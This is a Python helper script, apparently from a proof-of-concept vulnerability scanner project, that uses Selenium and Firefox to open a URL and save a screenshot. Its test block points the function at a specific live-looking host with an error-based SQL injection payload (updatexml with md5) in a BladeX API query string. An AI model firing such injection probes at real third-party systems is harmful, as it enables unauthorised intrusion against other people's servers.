Poc_Scanner/screenshot.py

57 lines
1.8 KiB
Python
Raw Normal View History

2024-10-09 15:15:50 +08:00
import webbrowser
import time
import os
import tldextract
from selenium import webdriver
from selenium.webdriver.firefox.service import Service as FirefoxService
from selenium.webdriver.firefox.options import Options
def screenshot(url):
BrowserPath = r"C:\Program Files\Mozilla Firefox\firefox.exe"
GeckoDriverPath = r"./geckodriver.exe"
webbrowser.register('firefox', None, webbrowser.BackgroundBrowser(BrowserPath))
options = Options()
options.binary_location = BrowserPath
screenshot_dir = '.\\screenshots'
if not os.path.exists(screenshot_dir):
os.makedirs(screenshot_dir)
service = FirefoxService(GeckoDriverPath)
driver = webdriver.Firefox(service=service, options=options)
driver.set_page_load_timeout(10)
try:
driver.get(url)
time.sleep(5)
except Exception as e:
print(f"无法生成{url}对应截图,请查看下载文件手动截图!")
driver.quit()
return None
timestamp = str(int(time.time()))
domain = extract_root_domain(url)
screenshot_path = os.path.join(screenshot_dir, f"{domain}_{timestamp}.png")
if driver.current_url != url:
# print(f"检测到下载链接: {url},即将跳过截图!")
driver.save_screenshot(screenshot_path)
print(f"已保存截图: {screenshot_path}")
else:
driver.save_screenshot(screenshot_path)
print(f"已保存截图: {screenshot_path}")
driver.quit()
return screenshot_path
def extract_root_domain(url):
extracted = tldextract.extract(url)
root_domain = f"{extracted.domain}.{extracted.suffix}"
return root_domain
if __name__ == '__main__':
screenshot("http://ztb.qlgsh.cn:8001/api/blade-system/menu/list?updatexml(1,concat(0x7e,md5(1),0x7e),1)=1")